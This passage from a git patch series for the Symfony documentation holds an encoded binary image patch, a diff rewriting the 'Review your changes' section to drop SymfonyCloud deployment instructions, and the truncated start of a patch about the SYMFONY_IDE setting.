zv)`m|kdLPc_IZJs5wRrJ{TS=KtUhM%W4Ka8oRwITjM)pZ@{e{5?&t2-pw)19h+yA%
z$N!<OA`!G2F{$v(#PbqyBXWXd<etn-y)*mWnUS&&wQG`*Hu9XTBars5pR6m3Ig>!r
z31IXrl&?lv=q{}bkI+HS1&x<3BgdWE8~s|iywNG6<<feWnb-m+S7|T*n>$!esdlQD
zdbqk6vgM*Wp5T02f31&egh2YYr@f`4GGc$wAg=`*=X?2^a=ZeNziyzMfcCCM(C4ri
zg+J1n#A(w<D6rjhnjZB=kYxyrDHB&t4Cfksv3I|Yz;g2msGob>%?Sa0Q)Eft`R=HE
zu-mdrm4LSWZYEfdQogI~HmBJ0br}L`_J$5Q*AMxncRU(jdwo)KMqbDczx2P4&&FM;
zqfl0=d!QlnhD4kiZ3D4Dke}aZP`rRD^-WP}%X1A;HeatDILQ@kA`4%A&9<8^RG9ug
zAe(%~x1saDGc$4`k_T+8)z}m+AH-?+QjG^c&i`IoR%|Ja%QcaDrRqzmf~g8%%%bUd
zOed4uuZw;$<(sO6>zi5(8iD`eWl(#PeH?|`>ut-m%PcM*Mg+9gKa&Cb@jNs3pJcZ;
zMt%l<>cz<RwQ5zX%JSta1hED%>M%%_gk2+5t5(%JoF`96DICp((3-VtytMJIRIgsm
z7#J2VTqwshJUXt^KK}G`<B|_98=iS;VA^w{4I@jNGE;l9svc14VB{)(ddi(fY15_q
z9WwKuS@PpgzsLpWpKI!Eug#Jr(MKs;*GM*PdJVQy_G9@fw#RH*H&3`)z=+~<CGxqu
z%{l@o+tHF$%BCurF&Z8-6QJmbC%|x;jC08j7;NBA89!k4`Iz-)X2YkW*2(qir#UAX
zSD=7sP^FLw6#VutYozz(u?-*?Rli=15g2tI)Nc;vCCn36>O^y;wZ<14!(Z1$s#K3A
z*8Nx2DDJePofpr31bIcEb<7w#)$tdPegZ`m+$6zWSu}SevC2raFCs`eg4=@O!d3H(
z;;hd{OVc%Q1l7Uz5Br=6N@HD4;W-mz#8{;M)}x6Hi0$`>A1!@G-<Q$yOLYH*>Lv*W
z2Dn9nfdTH4Aehw_uT-mAO)xW|q#C7LpLjyNr<ru^+O{zUhQI!rEK8S$W<Q?PuAMoC
zS%2-?wUHs;4mGZo;7SRG@?%@Jio1;JI{O9&1{kNJx#;m{mW)2)&od`&Bfb%g4457D
ztp<kn8v<u6iuC25nYv?U0$f5NC_J9gc((fm#yo$V7k`?AwOvgOFc8d8%jw?_c>lo&
zVhkZ_aG0de@9wWJ62v9?>90)^6vHDkTyb3?+Z>loZhn|)79<(DCxh~dcV9gBvwa`f
zwDIPhUb^hQCh66O#}5qx`naKxz#&XPl~hI?WmT4Lhl|6)Dj&D(-YgSVPB2HH%sjK^
zSps)Skd^A@=AX4QjlRsJH+$_bQ|Zu#u0m041xoHY>*vVWrDMFGF-u2#>)3C%mv3F3
zn!n{?GqT&JDD%rJZ}s-n(H%we6_s+BK@pH1ZL+g5Y_>>e+mAL{L9k$3XIsCZ?LU|Q
z>78%Rb@B_`wgu?2a#8(5JxcmYMN<EWU%zv``rizX(z5Bp`4rAuBx?Dk3Wkg&PLXNL
zvj;U_BQ}4#o!)VOdb4d$vROJied%511$D-V+aH2>+vD4Jhd#RD4hu6GtRNnTy`E;D
zQyxbDrxEA4Yg8$cFYMRXJ+3GFXG|bJTiy<xb>PlCfy*&lU)z?T?OE$I7KxT)#3^s<
zo~`PVY?KL5eaG<b(sSh9^4<JzLqWmA$<L{Ej#s`tKYYkr*!tPyS-ow`vCFJ3&!0bB
zAi<zu#WOBohr`z#&xUPVkAtyn*0iZ9_Oma(3@jca6ycHq%7dm&8hdFfRSL~^SQw6*
z;2j9BOqe*yzboDC7R{TRG#`HaX<%B6-oNDXtE6M+8@(XU*4@Ktr=F7LoL#$i%akco
z)9lZR9m%Z6>NRU*%G7DHXz}7SRXtWmke+^8$f&<^RqFf5UPlD*+`2XOd1o_#f%1zl
zLw&xP2IGuJY`{qb`P-_>LchR9_+{9)zD?^-^YO@a{#|Ap?td`y7z$7u9{~q!KHrYt
z7<e9(8-MDkzX?(N$p@a4!JV#c%8t0tU{-OR2BjKiDEM7ZK%s;H!PfoGDmB35H0jwP
z6!&1T_J@C$?~GbK^qB#lhZK`-8y1V{Ld(s>dfI~0D=WnsZlW0qpahB~7?BDe=|S?v
zn9#k@Bt}e=p!3q(2Uk-A)vXrf%66p%aVV_7-~fd`<hu#M_Y`6`{4sm08i-P_TW0#A
zRe&Pc`U|&IH%1Kvdw%!VV575lZNsx#Y~8U$Ti_!bZTvgzYu-JM^)JS*H@ob!!+#w9
z&M_m%FEHE<{ylWAjgR3^<KMQ=*+k!${(LgJ-RPKx#%0mSQKQUkwUPR6u2;9N9NnNn
z+*#V^|B!FL3p@w!O$2WqKVf2;<84}pW+T8&5?mowIqE2>RkMbduARC`+PinJ28bRj
z)27cbGag_hk5`(91I$NzZ(x-7<pbwQ=jRuAL7tP*N8+vD!ANJ_oV7cqSQ_I3>N8$v
zFeFQ$gg&}z=y?I7c90-uNmj(K2`VemeNDshIS{mcr_O{75<ExnybJoK2}+;LeHd_o
zcf2)hx_P(K7)%I44Oz8ew|mHoE3-b}ITn#H#zuPYHW;XbBqR4E^2zA;lYNe7=DRbf
z9ntn>^qNG=kNXcl0yHoje%Cx#wHOKl`(u<~S-kDR(?1B^@`f);bvJSK(bpJvNl1$T
z$rwrRjkLyJl8)HAW4U_UY7;NO9&TQ~xz{%Le5@DESIoFL!iasu8Av^D&kilI-~PDu
z#lHC)7DObzu+BwZ+SL3G$OXC|F(pzZl&8%P{`;*QU8bSrKQg~lpVad6A6dY-EJB?N
z=hc8@io({-Ezj;tJ#KRkE&o&FKcN-h`Ni@Tm*XoP=Ou;`-sXiRf<Rk=(WGeJq7lbY
z9^y>6E_&SaO?~jok%W)OxE{W&WAa(PCG>|gs)E@g)r;2%Opm?+-uS^x1h>Afk)n0w
zHc}{0p@`$CPachrU}K5cX4^ar4{Z+&IaUy?*?%0{=ohZ&u88^?BUv~>vv9w+`Mdeq
z*b!(?0qsxju_F%XNE9bud;ZF;E9LW9I=XGak6snZ6fEoAH(nmzQFR}taV_lm-f_*_
zu49?(<9erLY5wulckmoFGQiM)A6?JN_NG@K@Hkk~`TCCP`lzJ*Ievn?`udxOgRRT@
z4IAX%UJn>Q%IBSXj?}GF#~zXf_3D}R2@@yE?|=O1?Z*o88ub2$5&PoV=ycsRQm$NC
z6Hxler=RhR2sjsklY2e*kj$Dr+qh54W1Og~i<KHROxB;Pfn@*w)ITT@oU-@BeT)kS
zlOT(KC9@uw!EyC<outF1SIF$yb0TUE_fdcUJ;m%hreW%{20=DYJmGkwbn5kB?}*^k
z`!vAy<4-;%|IV8yRjXE!%Pt9a5f)L9ZXB-xcoBpb?hxR=-5u4vPaQ!cR=_+}CS&yP
zC2brxZcauYk6f#x@gfzQ2uk^ax&naQdQOFiKSVp7R@S&V88&5;d@?H1I02=`-ES|J
zTV7fy@L!zO0%eOG!TFoIEy!xYAJo@9Gv6rB{K^jmN`@jBb*f(_Re_w<b&5Ct<LVVP
zBQbG}(1u}C((=L|@;%>OVth^)SC>5xULIi3k5ZtW1p{B?HV9;tq?y`nV}U?vjhQr7
z@EU}I+`1vM`~6G!N5B8QB@yRh--{Yk1d1iNG=ck$%nE{-!XWVW&#UE%C+C?U#qdkr
z?Yy+HbTFF$^77DCY3dJ`R@Xf{Uv7PQp-gi|LMN*)!d=r7ovNC991MO}S0H||LBioC
z1V%?!!0SeJw*=|?$+9$xIT%e4KpgkQ?E!7ad5AyJ^W79Piv!yb@aw1fA?^g+&cr)f
zIHT{&P^roJjbP6(BKIHgxN&uaSq+Iu=T6s2i4rB`mtn)@<4-<|I2ADydfa`F+<41v
z^2JwQM;yZjj0te1IBfU``D^muf*B32v_9bkfh#At@!O?Ao)H*25xMTvvO41}ugqAy
zU7jAi!ZRWu56r^BduaC39qK+Qzh|6GMjuI}j@g~IW`&S}=0_dX4hB~6T>0R)wSmuC
zn<gX6+s-a;PJ3_I8W}k~@;MIU{;S`I-rX6=JFCyZ_sVhgikR3=k9@i;&GY0feO`8Y
zZh>G%RY9FWklg~qE#8lpJ~1!Cpo@CIEg0M&LK;?6y@4aKo{>(nn5*@4mLX)~zgvxg
z#Z3&u`1`}xy1TsfjNFqrIiufC$@uQ{Dj&y6Mz6`!&psy|F2B<Jy%R?<Op=QUq@CxL
ziyO<P<x&FrL16?-yc@G>87d|9w^PoX^|NK^mZegqSQYR19(4mWT1Qex)W<vOtc3G{
zi<e=Gel;^7a1=h#r>~hNOE)i#Xcyd=bf|xc$pAA3ZvVBL`kvPpF!Bi!r=BjKg&P-`
zz_-oHH#29QT(!OI-nUzZ&ihW*sVki_1<S~}b<Wekxu-|wYRd`dJ7Vz&Ik)zCQXo$O
zqwKz>;kEMKj6osAR``09DO^_iwC<xbAwqvd4*B;R`EvFb5$%fL<iCzi4Jztr`x_hI
zB!i~E8#2gfJ&NQnBHdebm;71>E1uCOTu&&Pt-xS%<<VDb9`A%^IcRw$@|TpGn%rWO
zq%Onf$Hh1GtkgC4e1E(A+o@-zt_7Swd;Kg~v}uvlC{e?tyP@$7^5mZbW!qjIZ4pk7
z;K_F%*HfCPt02hS^>d~F@BO^v!?mx~ZdThIE1a*ebZORAUitfF69gIk1cstpo81=S
zV#p*${*Z7vFjR!bd#j)0;?*_Q!AUY&XWQ80HA~czi|cg=o#Xy?+V#`IAJqtPv^m<M
zLJMhgR9hLhbZkWbXk505w&xzncVs@3Zs4Df%Z#-%OgR_V?;suOh3*N=&ge7tAu-q6
z;cL&s$uMXb#jA7NjWdFP>(z=?lO<c0c<r$5$<ie%=i{5D<vH!Q<-oAuJ}2z{Y+bq>
zu%69QtY}f`^U#BGfA5Fo<yT)*_Xgj|F*-^T{`#j)n=V_nZk3ufYRKJp-VsqV1b#g8
zjQ<!H4YzdZCe52Qlk(-uNs78!nl)>-^zHMI^y$|>;+*t03TrUxetKTd`yP<@Km14)
zAj70d<Hp9F!_1j8jlls5@?Q7$^s<7oWcY6*jO(D2PB~rLs6qou61ZnTOa~}qzKJqY
z)5|0YE6J=!t5&Uy;%1Ec*S@;r_0pnwGigx2zRaF8M<%OMXQwJ|z#aw#S9;&yOK!Tg
zi;NgKO3pa@JZapxkp_Y;Ak%du>B?2Bq-fD1@<^YDy|@kTxzX0|SAYLdK0?uOcE35s
z%?hTGPhYgd_}ee4qm=txbyT3gU?}G=X<b_G8<ZmNsOy~Cl?qCVy2pVF02nBs47lj{
zk`YCR6wj6AVO0PO{BpS&VcbwhRIXO#I+RW@cEF$iofm~>&_tY^1snKd7bBpdtoU3<
zptr13RC-;SHDzDkwzL^#j?weyJu*kjDq?1MK&d?|WrqpwiTDeJG#GSFl*c<(mA)S@
zH9n+a2*QkuW2zMr_{GK_@w2rJh_3-RJp-<*Vibw-wgavZDy#brD1<L~^j~RJr?3fl
z-9h_TGUcKZOB+K1j0+ten=8$9M0KJ3I?Gm-`7rw2d0|BpY&BY$UDdDlD7{xM9xzuh
zDju%BU>t(m7tAKO_mWD2KAx!bd}p!b%Zry-NY-uH7omJb@Ne9!P`3I7{RlH)Fe?1U
z7Z#X)1*0I0HBi=KR!|$AO>)r*sV)|i*%#q6zN;D%Us1&*o&}%YSH~D7Z9QAoEozie
zaC_1Ifmx=0x13d8nkYXAf}W23XRDdP0L2_;WWbn$nKCeNDpu*C*Cm=ybr>yw(HRuy
z>hlYuW8pGtx;{%_u!HaI2i2vQopoXB6m6N&_hq#FGO{1W{^wqJNq+e0XXSRJoUhx7
zNO6r#^w5L%s{y{RJT~x2`D*ZBX{g5PHLKUiv>7vuks31-?zyu^V76`Bw9(mcUzuYk
zwQC!Z2JaZWuj~v)q)kLHTcyvHN11-|A(ZDj5*_yu?neX;->>ft^xb<qL_UKv+eZ?q
zV|J%Kt7S=fci37%u-(&p&(`;*#$QkudehY)i1*^HY7lti$JI%z7F_n6)uM!8)=>|Q
zp91%Hh?Rp;_p|glh-U+4RgC>7t+6m^mB>U!_g|{tEUzq*?<a0FZikxJE@Ju(c%dKR
z`{fZ0v>fj}pNXoZIklBOi!pN#>^iDpx4F)^sIPqI=yQ1T{O!gdaz^tKazcZm5$C4&
zjEqPeWutb*0)o7M(R-@PD+|rL4TcMRli|Adxw5h`y82Jg=sk&iGWz|LneR@2{nOjd
z$TeBHa-|G<?*o(dyYIa(7~n%Wd<oFNaQI&P+|hDX#+i|>Sn6;pxE8`TMl&aS+bGx^
zYX1D8(C*audN0Lzbpr&YrCT5Gpj`>q-`4l*IbTWZquQ7e=TQ1S+U_wKwPd8EY)&zX
z-g>3$NyD<o*t2EC;@^y`8`JLasA}(Ec*QN>&*#fopG%{%jZFLqB>zv1Gt3VR4f*qg
zMu@=0Q%N21Z(I}E%pKnF>;K)q-^!&8E;C0@t$vzOeE+rbFM+bRX33hW<Zh~Ygp?*Q
ziolTK=ND_+7K<g~2ehwtit(}k?}oWX5nflhU{t%6C7YMX#N`u=qSUq@?ZEXYnm_cB
z(!N@IqtsrsX`#TiPpy&&AeB$nX>1DDC6qlM_4D@uY$tNu&)>go>u;9f^4$Dwdc^Mj
zV8;8>r%hjz6m=ii{z-K$G*;kZ2!^g>w4Y!`ffX2z-1?4987mjoy;v#~361V+p>YeI
zJ@q+bh`>2@OVu;i47_cO4eZw@hw{<-p*|B<Oz@0iICP5|B~I5_CaboslCo-0s#U7C
zY}mO$_U_;7^)pkC@cC%pUn?fbOf?o9qkR$5rFmC5w&JleTMc)4j?5!<O4gO8<(qoO
z1sGSRub!?W07Litq!km55d-zXebejs2aKDg`5Wd*DGdhQsBB|7u5#+f&LoW!;_q+n
zOdQnV(UTrC?#)p5H>bRjCcXds%x<Ghdwu+T?DN51|J=Tf_8)A4vKj^hjEI~*W2U71
z{EMj)W;R@P#pQDEJ$FgLf@w!h4|t@n6fagx27fa|M>9?~eYAEh&8J@<IqlR_5;icP
z&{Ix6S-$?_Q+edk$7Sl&sh*GN{Q2|CWfxs2-MZYWzN2;4O;{Q?Y9z0{{Gtqe>c28?
z{(Sjv==V~jND(>yxMNKa%Z$vVuz4r4OlCcxG<xy5XXUMT-jPo}``pYBv9m<Vmn$cC
zs8QvbtFBaqWu&6HR;`-y&DUS3(&#CH>kPQ5fD|fJ$QUeONQyUjwrzVY{iF2j2kRPT
z|0wnIj)21^PgQc`59NohsBA`)+Vt)cioe^>ub>L$BX!2Xdcmk@2$UloPAnyN=rJf=
z{c^S{OKVmvXk6*cQl-*db&COkfA!1Tm62Oj`G`@j*&)4DA$&lUS|hdXAr~@f>zk~4
zV3hu#J8Q{ns)&Vh1a2OzK*@94Iprh#>)T^FWeLUkb2nEP#EE!ENBgf-We$F<;95g*
zb)PDLT(?;Ec&sIqLC<LLYs{K~!X7TNpqNRvK>74`k6Ol10>jQYRRlpH4S(=YcCKuU
zYO%@$gEw!lDUW`(+yw5#h-0{lz<mToHfDNcL@>J5l`?9)gTbzLr2+!iDYzG7NiSs%
z<@(D*SDT=s)*S}!qpMCXD^S9_K}D0@7hy1fk?gl=n~l=)BMo8-#T5jKug5x8kymtv
z#ZpzGBA&#h&WtErlR-Ud3gUZUW{I6ef)TO}bT-eumsFNx)xAhGsitvV-qrgGGZxTp
zxK2S|gz>BI)m2O$(asIppV9YaP+l3?SD}1)V_Y8h`ya-jUbbwRgtIyK?6ahH&6@Ja
z0R8sU0ReO7{%i8Ud;ZGHFOx2}-eP7G24&o~^@+y70OK{@vwnfm0R{%lbij;<MCIhh
z#pR3p>zI28vwoluh2&QQ+eK~4NEdw$+F-;s@67fQn@>($nrBM)8v5*8Vcx%Z594_V
zS4QvX>>&TMAsKCWvU4?kzOGTD<XUsz;@-tfpIgr=r~E5Ox7QXWqnIqo11__^exQzi
zKP;DVIxEV~pu}?+#?ITc{<!xKhTyq_cjP<2td`G4uQM|V;I0XRXKts{D(LgLj4_(J
z^-J#=>86df{>U{|q?o>=zWHN=8Z@?r-%SOj-_=K%ZwovlgCryOB=X7V_fuxRJA>*U
zYhOmLNyUm4P5c@R_&G<PrIf>)z!9nx$pL@LAKn+?P;PzKziu<tf1&9s2c;R8zR^K-
zQ3s@WwUE0Tqi}@c5{kzpFFQ55Uj9?_4AaiPSN$#j9sg8BIdI?d@)@t1k^D&1Z%iMV
zw{c!XJuuSx()uAqJc2X#8S`+&an!q^x|8Xuqw%dmJ{nlWF?enAD@Ji^+gn{nv_F3G
z6W%Egk9kNIY?vQWPd}GhC2L8KR(C}x)oli|*3FWq{(Mq;w|+?Kl&WKP!{G7O)R5Z{
zTP}<dH#E6X+EqQto*KA>zx}5*zqx7{@Yf^Sc2ylo{zUtMUVa09e^jnG`bt%R*Y)<f
zD+vDk?1X1zu_~c${p=FPj~kob<R*_;e`WH^azf=3G)QnOvmb$g-<vkb%cn)f7IM#V
z_j>1a`=yHsa&7ZZ@3>7DwDh<0;nBTip&CD;al!txYoB9SxTEvE$~h|^&ip`rn*XEM
z4qHC1>7B>kopzQ&_}po$rwSOjZN7W>U24Qw6;ZElExQ}Tm{X*;3L{g$v3;ap+x|xR
zj{`4GdO=`-v-Q9dGiL5+)kA8B`<a)4Z)KUz6ngxR$Cdkri1T3_a}9jH)4a{eD<{kI
zlb$s*SKRV317~3Sr$VtvywoC?iPZV~P7&>O&x>_^5=pmv`)=8_c2BlF&yrQ|tjK3;
z%68eabB_$^p+>PBAp6wK(Bj2Q1S2)!t|%UX&t(J`E>otoalH`FIq{^ib%77(O8P<X
zSE&2*SigR~z^zkFRh(ECO8zw2v7O9%pwF#YyH?h(TQB7+l$X+_Qb!r5*A@iw+`VVF
zRIO4aU3Tf^WshS7;GVtvRoPG=%^$%w4V21fJUrVdk$-zUG+PVD5U6sux<G+@i+BZo
z(lK(fP=P#Bp=4e&(mCF9lbsH;Ct&1&qARNf?FL7T_^(_#zrdgUp(co1F)L-KY|((B
z7y*kB=E-0O*C4nS#no^H<v>;mT<c)eFanQ5ftjf2t!w&jSydcircX{0xH^L(A4UrN
zK=Bq!va>J3#nukx9&45dj5cf3wNo{9zZ9!KVK&YGRFU?uj)=cZM_ohA^F(J#9Hp~i
zf&xOv;t+JqzM~R(Uk2rKF!$m8jd(wW3l)|M`i{wyC+#elgH=DwSXivrtAIXpE9!GF
z-rGIiK60?ymC<r>?=D}j&m>j$C!_zyQ;*epuR(cML1zseYJz7lo^|{5xq<-Jn6Z>o
z1a(7TWz0syw@oP>coC1p^NdU{A3O&!W2{W^yv8MEdg<Nc8NDYn^ZgXhcc)v&jIJko
zO%Sgpkr*=>trySB8Uj70b~72j+Vb^G6%gN@o2eprG6`fI0T>s|e|-W%>0rd{%7X2P
zW~9x3+ivxtJn=al?OjS;_v|$z!J%LbRWY1CTt#GsRa0kQeP^zjDZNJCE7u;=QJPn1
z?v1#&#bd<%kMn;}7c%2C4|B3vA}^1DO$;W!{QcYW*Uy*UqaKh}I%2%08XL+NE@u?m
zbJoq)QROo=a1}<|X(o<Dl%<C-<KeZ*ugavAljQOSmrJFhmGz@H^`m9C&RQ6?WR(24
z;0IZ?bya9)LA=+?DHp4|_Uu%n$3VHRQAac4-Oe`Hu0e}uXno(E^0sW*vn7><(|*Ln
z*t~0#bXH@CYruih8Z%ISSEev9c!Fj-=i4gV<NoWH-f?rDlb^dCm2s5xC>#9%Bl)jy
z(phTjECxI41o@(G{H@CLq4S1n!0_3DJm%>L|A$6Bs79BY<><0U3yfrtHQRMsxEdEe
zobiF@y2u>BFVsiNHf;}Yzdrdj<H`#LG;8cYfbIEeMEh#?m$Gb2<OmSd%{?F6D6`+#
zzB;SoA~~h{sc8&em`U)<!k=Z>!e5O`F#q{KFZfATY+WwrsJpJl<s0i<hDZ$o>hSHq
zL*$R8zso-T=RbePo*nX-8m}&>bD=cT`>sU65*mXdj~XKOrfF|b{r&kRx*bAkE_Sw*
zmuUU6J3V;h6oFzs(NTx+xs1{C$(BUxQd(Ui;pbpWGV6i&DrPO<CsC<XDdc-S(eq-Z
zw}Ap<rHOVd(NXKj2O~8xQadL|ETw0%>xXt@#OR?cP?)qnI%6aDW3?MfM*j%rSm`r*
z3?uB_fXRvGgHPgUZhI2VE1BtGtg^8t;>kBV`yysh<V(keR0%zfpNxokp6HB;WJ#j$
zsAQF!%zW_vu2Z{qGP6utUN9iSIGLzqrjI0AR(7Vxy<67_;+`F4!yVb7DtHFN7?TqP
zb;GO${3IgrJR{S~56?l&63B>T^q$Pj_fuxRI}>SRqSu7Rg+%D)-n5*-kbAFfwzTYE
z&tSOZ^@~kAi&ZTGm1TrdF}G|ZATit%ZQZlgxbLyP;<K}T|2^$lH5!EcdqPS3`9Gh<
z<P9ZrrDBzh>!EczqX2G);3CIW`o>%TY9*>i%wTwURBu_J@gwZ{<<uYoMX(#R7@fi%
zw>N@+yR^E_sZgY%D!-Si(P4AC>HX*Dv~B3qD;BOOh<CAZ=SEf7uQrCCXzlmcAL(Ei
z+O=<|tlzQT<I$vi6X|v012!AEd)Qs-{zwC8>p%bXMBE3sTq;(exFE&{3{O^q()-VM
zw+rPfB$(B4K>b0j-M-eiS+aRy87senYAC_=EnTp*af<~OxPRRIW1Vlxxj#os000p8
zNkl<ZQJw`g@b#{}J55>XrO)hfjM(3)qh}zw`FUm<sJ~+I+LE$O_U_u7V`ebeI&(<^
z86^;H217>k<9Q@N0wj<qfuI=-iRQudBtQZrKmsH{0=bU>XE5ZxYswa7h(PUKdpMKr
zAGd>T$|+V3FEhsugd&H?ye7k(dOIn~$f*cZl!~x7#EX$Er1*6Z<xu;XV+@tENlCJ5
zLdc<#oM!bt>qM`~U%x+o*Y$4Cwd=m_-Oqh}zn{bRex5yhwl`5u7eiQ4t+eKKy588%
z7&*n9@g2<<SEn45dnM%9`EH%<;AXdWWD3pwQ0lB|ju;BF>vg_JNpN-Gf5$TI_m>kB
zQnJa@Gn<9XQd$Ork}6N6iPx!ujD~3WS`qP09U@95VzD@y%x)`HT5jvMSygYMzz1C-
zLWb#S+j>jTAocmn7kBUIYCBZ5*qgIXWVHE&bRF~6)zV-NK@_9QMy?-Yyv+1TN$$qQ
z;@)4aEg?tECe_42y0k(nFqPx9LPHX&QFA<M=IXH!_06Mik37>}CP3y}uo(+08%tQ|
zk5?D$C5mZEm-y{HCR<i4EAX)P0OQ3Ll{_$532T#0%qce<R8A=jOon;9a0idmZag+=
zxfMWr9}utY5a?xx3rKgpM{!F2AbdV`#-OYb!)(MW%k4E_1}T+sGTyu%%wxyP3U_%b
zo`L!cfTlijiaieZyjVlgKHH22iRs-#Fi*J$iL1@rfVx!3xLCUeScF2&zih$^z>WFB
z3a3`3L%}(JYMs!d?x3uPYZp^LkyMe?-asqV<(4VaQLo@iWRpWHG^?V2>XHiQdU~3I
z3zB6yVo+eaU-I)s;_9T_Q^7SU#C_P$L3gP)D{;*1VpRFdrr<=YPZ7imL)|SBBUxl)
z9|b<Ss#q^%i?y|j0}z1l25^+K|Bc!W`uE7x(r-HPvtMBzTYbWQQ(A2EPUx+T(T%Nc
z)}au0MMI;B4Ie3$twUm(sA3SANEn?d8GCvGG{$&#`VZWm)pl|9hNQvCw-~~y>6#I-
z5aEG9_puL26scQ`?!ZrB9Jb=r+aj3U7~TgX*q1yqxjSxzkqoE&kmvk{ekxb01C2Ee
z*KqVl0dJx|I>a4u#Bi8#%{@+=P=-@o9Pn-np#~i?@Xb$iqEK6zb1iI7ZWU3&cdrt)
zqeaImUJq>Z?m$0fxMyt|#XL*CV{4LcBVDX|C_R94dgjew?`2trMEiJ`ha{Vtl7%cS
znNIu0$ya8+y`pjA8Da7`C)6%=6xeK~8*clMfL)6-vSOuAZS8^4Qho3NQXhYw=9;I6
z#{^fP<ELiC+4ykI{gV-c(M2K0jTnOZkzpfv$Hax&<P+#M1g<ysmU~r8D;v|LCEC>D
z5o-s_IZPc({1{?#`2>6d{%EDY-Dyq6mX}ACC&OkjO*1zS9tFPzsVIZQ0BQYW(>o58
zBz3cHd(_vXGa7Ui9TOpl0y*xp_YxcZIBk&>;o>a82$@qv`$9bg;b^{W-%Wh6S+x$O
zmmWfAv+Pa?U&xZZ?D2X!w{p#Vj()Tw5ug@=o~b(Wrc_$!rj1W`Fm+NbV-#b7n=R{V
zcfPuV=?(qFdY+qYw!LhqpxlV|ei1Z0!N4MLMMFfDf&xLAg$=sL4&v0YXQMex;bu>?
z$OQa_i2jEl!l<<oqv?aRT9fSw4L;QB1t@SWHvrWmb!Rw%ccC9aGyV$qvk)GJmx~Cu
z_Ztt4_I;#wFveJki_p!*A~?vtWE??&LGGyqw5Q+aBSDIUfd2^yfcc~0SLloc20vSd
z+E_C^y)q=Pr_)BBR}6KXKn(I8PI6Dw_k-g$wp^?}Y@1?(vJB;fapb)n>mN>%vSrw+
znv#m-zAEJfl?%{|ahx(;N>G2It-ysS9{SSX;MGUOPOHuUSNh>G!fErn=Z|B0huOd9
zBTH{i3L04DQ%*Ks58R)Zz*B0bTyVwnmkl8?pvx)^+ndfDVbKn$%F2t3`ITaG6b#DG
zae4@oB9m|QA|h(WXH45zt9S-wqr?sBeNKVRdvUs_(^Z{D$Y$qmM9*Fl-aj;E<pgAc
zguNzr0lsHSKd>0XP>Y#zf?8R8TY`RQhTHHfK={FGsuURh=S<MPsKSJ*YQkx<>JxcD
zw`|Z`61GoYwA4X_JrqE28VFDED08b`3@2j<Htw$WEqg;~4kg<;apZYPhgxooggVx8
zGe8+rau_}gkF>-*t<*(s&ob+jzOnHPPx>RdZjW?A@6yl-qkZg3ftD2wTgXoT#zvyP
zI<77gI>FkL*QP$}&B$zbE&Qoie6Q-&P)`D3x87BOqn-h0A7|U)Cf*vM4W5i91shC0
zZ1ppD+P3Qw)STs~=tuYr>MS~0IqX=3pBQEOUK%`3+s<=Je<KhqsAak%YLitYJ-Gjc
zhHWs$?saZz*0P-EgI8ZWb4vlBIGTD_0#)_GnL<)kF~#W7+Mn?LejE@9<1RYfTZSH>
z?QXkn4Vp;pcYAj=-);EfhC7}k3Y}#d$aC@!4jP(%VT}wypfj{w)amQRJk)zbmshXj
zwa|iroXz=GoqO#KwzJx%f1aAZ!VAZX^{-KoPa-s7*wK<?ZvkE^n<rt{-+*ZE2yI%f
zz{_QG6)=p64TVK8kF4($`)6I88}wz0Ivt?wy8d=()z|#K!?F-7;70|71WWq&-cero
z-cLQ`!$9_RI*-+&c&X~UEC6EtMSx`d8HKKRo-EIGqPq~Sbn@XFdqkIjrx(RtLoRvM
zC-Y!s9*ksT+6qA1U3OITQt)iyCbOj@aXrtvHV0;yw<6#>TBiH&KY_6jPk?M7nUi_S
z4kn8$;>&KGW&nrY*yiv#B<7(v*NL7K1(KO`#MAy<0`WVs0Ee9ssr)?4;v8niqw+v9
z{|b^P+(765PLTaA;bSrhtB>jYmHR7;hdElIrAqe!_94RS<F3o@yb-<Dz5i2s=Qf$f
zIZg7a5p__|&Bnsg=T@%DfbSzvjPuFY9Hf`^Jc&~g`lT1bWNhef{BwPDwc4+R$!m=t
z&zsGvmii;tFJL<GzNl2ijKu9H8vpsVOX~EY8D(dLB}yF!j%Ic>-;yC3D^pY6%>tj@
zKHKNjJHqeVm^cz6;w$RC<yTJc^#g0FGj|NBtaZq6yzXTQ!Cqgn5rSuR?5wPF8v2~*
zW{})a0bvjOsQ);(m~+cKPJt5+=uxvK{^G5c51RP9kkXQB0!!=y%=1cxE-6U7;$rek
zxVYHkLt!v{IDV;dVa33OMp4~$DoVTvn@?u}P>c$cikBQ0l?M3y-w+pp^Zx?HPa*=o
W4r_g__b2cH4~wlfrg<iW@V@~AKS6T<

diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index 0445047db9c..25959c87392 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -229,25 +229,12 @@ this hard work, it's **time to celebrate again!**
 Review your changes
 -------------------
 
-Every GitHub Pull Request is automatically built and deployed by
-`SymfonyCloud`_ on a single environment that you can access on your browser to
-review your changes.
+Symfony repository checks every Pull Request automatically to look for common
+errors, inappropriate words, syntax issues in code blocks, etc.
 
-.. image:: /_images/contributing/docs-pull-request-symfonycloud.png
-   :align: center
-   :alt:   SymfonyCloud Pull Request Deployment
-
-To access the `SymfonyCloud`_ environment URL, go to your Pull Request page on
-GitHub, click on the **Show all checks** link and finally, click on the
-``Details`` link displayed for SymfonyCloud service.
-
-.. note::
-
-    Only Pull Requests to maintained branches are automatically built by
-    SymfonyCloud. Check the `roadmap`_ for maintained branches.
-
-To build a local copy of the documentation to review your changes, see the
-`Build the Documentation Locally`_ section in the README file.
+Optionally you can also build the docs in your local machine to debug issues or
+to read the documentation offline. To do so, follow the instructions included in
+`the README file of symfony-docs repository`_.
 
 Frequently Asked Questions
 --------------------------
@@ -306,4 +293,4 @@ definitely don't want you to waste your time!
 .. _`Symfony Documentation Badge`: https://connect.symfony.com/badge/36/symfony-documentation-contributor
 .. _`SymfonyCloud`: https://symfony.com/cloud
 .. _`roadmap`: https://symfony.com/releases
-.. _`Build the Documentation Locally`: https://github.com/symfony/symfony-docs#build-documentation-locally
+.. _`the README file of symfony-docs repository`: https://github.com/symfony/symfony-docs#readme

From 2bed59623d556cb0c038a2de1a0879609d7cba61 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Wed, 22 Dec 2021 16:47:17 +0100
Subject: [PATCH 2899/7107] [Framework] Read env var SYMFONY_IDE by default for
 framework.ide

---
 reference/configuration/framework.rst | 11 ++++++++---
 1 file changed, 8 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 03c60a1de17..8f711fd8c7b 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
